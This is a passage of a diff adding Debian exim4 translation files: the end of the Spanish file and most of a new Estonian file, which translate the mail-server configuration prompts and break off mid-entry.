sistema utiliza marcación bajo " +"demanda. No la habilite si su sistema está permanentemente conectado a " +"Internet." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuración del servidor de correo:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "¿Dividir la configuración en pequeños ficheros?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Los paquetes Debian de exim4 pueden usar una «configuración concentrada», es " +"decir, un único fichero monolítico («/etc/exim4.conf.template»), o bien una " +"«configuración segmentada» donde la configuración de Exim se construye " +"utilizando cerca de 50 ficheros pequeños en «/etc/exim4/conf.d/»." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"La configuración concentrada se adapta mejor a grandes modificaciones y es " +"generalmente más estable, mientras que la configuración segmentada ofrece " +"una manera cómoda de hacer pequeñas modificaciones pero es más frágil y " +"podría romperse si se modifica sin las debidas precauciones." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Encontrará una discusión pormenorizada sobre la configuración segmentada y " +"concentrada en los ficheros específicos de Debian en «/usr/share/doc/exim4-" +"base/»." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "¿Desea ocultar el nombre de correo local en los mensajes salientes?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Las cabeceras de los mensajes salientes pueden reescribirse para que parezca " +"que se han generado en un sistema distinto. Si elige esta opción se " +"reescibirán «${mailname}», «localhost» y «${dc_other_hostnames}» en el " +"«From», «Reply-To», «Sender» y «Return-Path»." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "formato mbox en «/var/mail»" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "formato «Maildir» en el directorio personal" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Mecanismo de entrega para el correo local:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim puede almacenar el correo entregado localmente en distintos formatos. " +"Los formatos más comunes son mbox y Maildir. El formato mbox utiliza un " +"único fichero para todo el buzón de correo que se almacenan en «/var/mail». " +"Con el formato Maildir cada uno de los mensajes se almacena en un fichero " +"distinto en «~/Maildir/»." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Tenga en cuenta que la mayoría de las herramientas de correo en Debian " +"esperan que el mecanismo de entrega local sea a ficheros mbox en su " +"configuración por omisión." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "¿Mover el correo aún no entregado de exim 3 a la cola de correo de exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Hay algunos mensajes de correo no entregados de exim 3 (o de exim-tls 3) " +#~ "en en el directorio de la cola de correo: «/var/spool/exim/input/»." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Si elige esta opción se moverán ahora a la cola de exim4 («/var/spool/" +#~ "exim4/input/») donde serán gestionados por exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Esto funciona solamente en un sentido, es decir, Exim4 puede gestionar la " +#~ "cola de Exim 3 pero no al contrario. Si rechaza esta opción, deberá mover " +#~ "los mensajes manualmente o nunca se enviarán." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Si deja esta lista en blanco entonces Exim no hará entrega local." + +#~ msgid "" +#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" +#~ "versa." +#~ msgstr "" +#~ "Tenga presente que esto funciona solamente en un sentido, es decir, exim4 " +#~ "puede gestionar la cola de exim(v3) pero no al contrario. " + +#~ msgid "" +#~ "So it is only advisable to move the messages only if it is not planned to " +#~ "go back to Exim(v3). If a rollback might be necessary, it is a better " +#~ "idea to refrain from moving the messages now but moving them manually at " +#~ "a later time." +#~ msgstr "" +#~ "Sólo es recomendable mover los mensajes si no piensa volver a utilizar " +#~ "Exim(v3). Si puede necesitar hacer una marcha atrás será mejor que no " +#~ "mueva los mensajes de momento y lo haga manualmente más adelante." + +#~ msgid "" +#~ "Domains listed here need to be separated by semicolons. Wildcards may be " +#~ "used." +#~ msgstr "" +#~ "Separe los dominios introducidos aquí con dos puntos. Puede usar " +#~ "comodines." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Mueva los mensajes de correo solamente si no tiene pensado volver a usar " +#~ "exim(v3). Si esto no es así, no debería mover el correo ahora, sino " +#~ "manualmente una vez que haya adaptado su configuración." + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Si hay algunos más, introdúzcalos aquí, separados por dos puntos. Puede " +#~ "dejarlo en blanco si no hay ninguno." + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Por favor introduzca aquí los dominios a los que permite que reenvíen " +#~ "correo, por ejemplo como pasarela de correo o respaldo MX." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Estos dominios son aquellos para los que usted está dispuesto a admitir " +#~ "correo desde cualquier parte de Internet. No indique aquí dominios " +#~ "locales." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Dado que ha activo la ocultación del nombre de correo local en el correo " +#~ "saliente, debe especificar el nombre de dominio a usar para el correo de " +#~ "los usuarios locales. Habitualmente es el nombre de la máquina en la que " +#~ "normalmente recibe su correo." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "¿Dónde leerán el correo sus usuarios?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "Máquina que gestiona el correo saliente en este servidor («smarthost»):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Introduzca el nombre del servidor al que se envía el correo saliente." + +#~ msgid "" +#~ "Mail for the \"postmaster\", \"root\", and other system accounts is " +#~ "usually redirected to the user account of the actual system " +#~ "administrator. If you leave this value empty, such mail will be saved in /" +#~ "var/mail/mail, which is not recommended. Note that postmaster's mail " +#~ "should be read on the system to which it is directed, rather than being " +#~ "forwarded elsewhere, so (at least one of) the users you choose should not " +#~ "redirect their mail off this machine. Use a \"real-\" prefix to force " +#~ "local delivery." +#~ msgstr "" +#~ "El correo para las cuentas del sistema «postmaster», «root», y algunas " +#~ "otras habitualmente se reenvía a la cuenta de usuario del administrador " +#~ "real del sistema. Si deja este valor vacío, este correo se almacenará en " +#~ "«/var/mail/mail», lo cual no es recomendable. Tenga en cuenta que el " +#~ "correo a «postmaster» debería leerse en el sistema al que se dirige, en " +#~ "lugar de reenviarse a otro lugar, de forma que (al menos uno de) estos " +#~ "usuarios no deberían redirigirse fuera de este equipo. Utilice el prefijo " +#~ "«real-» para forzar el envío local." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Active esta función si esta usando marcación bajo demanda; en caso " +#~ "contrario, desactívela." + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "" +#~ "Seleccione la configuración de servidor de correo que se ajuste mejor a " +#~ "sus necesidades." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Si no está seguro no debería usar la configuración dividida en pequeños " +#~ "ficheros." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "" +#~ "convierte manualmente a partir de la configuración manual de exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "¿Configurar Exim4 manualmente?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Usted indicó que tiene una configuración manual de Exim 3. Para " +#~ "convertirla a Exim4, puede usar la herramienta exim_convert4r4(8) después " +#~ "de la instalación. ¡Consulte «/usr/share/doc/exim4-base/examples/example." +#~ "conf.gz» y «/usr/share/doc/exim4-base/README.Debian.gz»!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Hasta que su sistema de correo no esté configurado, estará inutilizado y " +#~ "no podrá usarse." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Su «mail name» es el nombre de dominio en la dirección de correo que se " +#~ "mostrará en los mensajes de noticias y de correo salientes (la que sigue " +#~ "al nombre de usuario tras el signo @), a no ser que esté oculta mediante " +#~ "reescritura." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Por favor introduzca aquí las redes de máquinas locales que permite que " +#~ "reenvíen correo." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Esto debería incluir la lista de todas las máquinas que utilizarán este " +#~ "sistema como «smarthost»." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Debe duplicar los dos puntos en direcciones IPv6 (por ejemplo " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Introduzca en una lista separada por dos puntos las direcciones IP en las " +#~ "que escuchar. Debe duplicar los dos puntos en direcciones IPv6 (por " +#~ "ejemplo 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Configuración de Exim versión 4 (exim4-config)" + +#~ msgid "" +#~ "If you are configuring this system without local mail delivery this name " +#~ "won't appear on From: lines of mail, as rewriting is used." +#~ msgstr "" +#~ "Debido al uso de la reescritura de campos, este nombre no aparecerá en el " +#~ "campo «From:» de la cabecera del correo si no ha configurando envío local " +#~ "de correo para este sistema." + +#~ msgid "" +#~ "Obviously, any machines that use us as a smarthost have to be excluded " +#~ "from the relaying controls, as using us to relay mail for them is the " +#~ "whole point." +#~ msgstr "" +#~ "Obviamente, cualquier servidor que nos utilice como «smarthost» ha de ser " +#~ "excluído de los controles de reenvío, ya que la función primaria de " +#~ "esteservidor de correo es permitirles que estos lo reenvien desde aquí." + +#~ msgid "" +#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " +#~ "to one or more user accounts of the actual system administrators. The " +#~ "default is to set things up so that mail for \"postmaster\" and for " +#~ "various system accounts is redirected to \"root\", and mail for \"root\" " +#~ "is redirected to a real user. This can be changed by editing /etc/" +#~ "aliases." +#~ msgstr "" +#~ "El correo de las cuentas de «postmaster» (administrador de correo) y " +#~ "«root» (administrador) habitualmente se redirige a una o más cuentas de " +#~ "usuario de los usuarios que son realmente administradores del sistema. El " +#~ "valor por omisión es que el correo para «postmaster» y el de varias " +#~ "cuentas del sistema se reenvía a «root», y el correo de «root» se reenvía " +#~ "a un usuario real. Esto se puede cambiar editando «/etc/aliases»." + +#~ msgid "" +#~ "System administrator mail goes to which user accounts? Enter one or more " +#~ "usernames separated by spaces or commas. Enter \"none\" if you do not " +#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " +#~ "run deliveries as root and will save the mail to /var/mail/mail Also, " +#~ "note that usernames should be lowercase!" +#~ msgstr "" +#~ "¿A qué cuentas de usuario irá el correo del administrador del sistema? " +#~ "Introduzca uno o más nombres de usuario separados por espacios o comas. " +#~ "Escriba «none» si no desea redirigir el correo. No se recomienda jamás " +#~ "hacer ésto. Exim no puede efectuar entregas de correo como root y " +#~ "guardará el correo en «/var/mail/mail». Asimismo, ¡tenga en cuenta que " +#~ "los nombres de usuario estén en minúscula!" diff --git a/debian/po/et.po b/debian/po/et.po new file mode 100644 index 0000000..8d5133a --- /dev/null +++ b/debian/po/et.po @@ -0,0 +1,751 @@ +msgid "" +msgstr "" +"Project-Id-Version: Exim\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2005-06-08 13:35+0300\n" +"Last-Translator: Siim Põder <windo@windowlicker.dyn.ee>\n" +"Language-Team: Debian-installer tlkemeeskond <debian-boot-et@linux.ee>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Estonian\n" +"X-Poedit-Country: ESTONIA\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "Kustutada puhverkataloogis olevad edastamata kirjad?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Exim'i puhverkataloogis /var/spool/exim4/input on mõned veel edastamata " +"kirjad. Kui plaanid Exim'i kunagi uuesti paigaldada võid kirjad alles jätta, " +"et nad peale paigaldamist ära saata. Võid need kirjad ka kustutada." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "interneti masin; kirjad saadetakse ja võetakse vastu läbi SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "kirjad saadetakse läbi relee; võetakse vastu SMTP või fetchmailiga" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "kirjad saadetakse läbi relee; kohalikke kirju pole" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "vaid kohalikud kirjad; pole võrgus" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "hetkel ei seadista" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "E-posti üldine seadistus:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Vali sulle kõige paremini sobiv seadistustüüp." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Dünaamilise IP aadressiga süsteemid, sealhulgas sissehelistamisteenusega " +"süsteemid, peaksid oma kirjad üldjuhul saatma läbi teise masina, mis on nõus " +"neid kirju edastama (üldjuhul ISP meiliserver). Säärane süsteem võib kirju " +"ka vastu võtta, kuid see pole kohustuslik (va kirjad kastutajatele root ja " +"postmaster)" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Kas soovid tõesti postisüsteemi seadistamata jätta?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Kuni postisüsteemi seadistamiseni on e-post kasutuskõlbmati. Loomulikult " +"saad seda ka hiljem seadistada - kas siis käsitsi või käivitades " +"juurkasutajana \"dpkg-reconfigure exim4-config\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Süsteemi postinimi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Seda nime kasutavad ka teised programmid. Ta peaks olema üks täispikk " +"domeeninimi (FQDN), kust kõik selle masina kirjad pärinevad." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Seda nime pole kirja From: ridadel näha juhul, kui seadistad " +"ümberkirjutamise." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Teised domeenid, mille kirjad tuleb vastu võtta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Palun sisesta nimekiri domeenidest, mille jaoks see masin end kirjade " +"lõpppunktiks pidama peaks. Nimekirja pole vaja lisada selle masina võrgunime " +"(${fqdn}) ega \"localhost\"-i." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Vaikimisi käsiteldakse kõiki domeene võrdselt. Kui soovid, et domeene " +"koheldaks erinevalt, pead hiljem seadistusfaile käsitsi parandama." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domeenid, millele kirju edastada (relee):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Masinad, mille kirju edastada (relee):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Kui sääraseid masinaid on, sisesta nad koolonitega eraldades siia. Nad " +"peaksid olema tavapärases aadress/pikkus vormingus (näiteks " +"194.222.242.0/24)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Kohalikele kasutajatele nähtav domeeninimi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Uuri /usr/share/doc/exim4-base/README.Debian.gz kui soovid teada SMTP " +"autentimisest." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Root ja postmaster kirjade vastuvõtja:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Kirjad \"postmaster\", \"root\" ja teistele süsteemsetele kasutajatele " +"saadetakse tavaliselt edasi administraatori kasutajanimele. Kui jätad selle " +"väärtuse tühjaks, salvestatakse säärased kirjad /var/mail/mail, kuid see " +"pole hea variant. Pane tähele, et kirjad kasutajale postmaster tuleks lugeda " +"samas masinas, kuhu nad saadeti, neid ei tohiks teise masinasse edasi saata. " +"Seega peaks vähemalt üks kasutaja olema säärane, et tema kirju siit masinast " +"edasi ei saadetaks. Võid kasutada prefiksi \"real-\", et sundida kohalikku " +"edastamist." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "Sisesta üks või enam tühikutega eraldatud kasutajanime." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-aadress, millel sisenevaid SMTP ühendusi oodata:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Kui jätad selle väärtuse tühjaks, võtab Exim vastu kõigi sobivate " +"võrguliideste SMTP pordile tulevad ühendused." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Kui see masin ei võta väljastpoolt üle SMTP mujalt tulevaid kirju vastu, " +"vaid ainult kohalikelt teenustelt nagu fetchmail või e-posti programm (MUA), " +"mis räägivad localhost'ga, peaksid väljastpoolt tulevate ühenduste " +"vastuvõtmise ära keelama. Selleks sisesta üksainus väärtus 127.0.0.1, " +"keelates avalikel võrguliidestel kuulamise ära." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Minimiseerida DNS pärignute arv (nõudmisel sissehelistamine)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Tavaliselt sooritab Exim pidevalt DNS päringuid: teenuse käivitamisel, kirja " +"saamisel, jne - logifailide tähendusrikkuse ning seadistusfailidesse " +"kirjutatavate väärtuste piiramiseks." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Kui sel masinal pole pidevat ligipääsu nimeserverile ja ta kasutab nõudmisel " +"sissehelistamisteenust, võib tulemusena iga exim'i käivitus ja järjekorra " +"jooksutamine (ka siis, kui järjekord tühi on) esile kutsuda kuluka " +"sissehelistamisteenuse käivitamise." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +#, fuzzy +msgid "Mail Server configuration" +msgstr "E-posti üldine seadistus:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Jagada seadistus väikesteks failideks?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debiani exim4 pakid võivad kasutada kas üht suurt seadistusfaili (/etc/exim4/" +"exim4.conf.template) või umbes 40 väikest faili /etc/exim4/conf.d/ all, " +"millest kokku saadakse lõplik seadistus." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Esimene sobib paremini olukordadesse, kus on vaja läbi viia suuri muudatusi " +"ning on üldjuhul stabiilsem, kui teine variant pakub jällegi 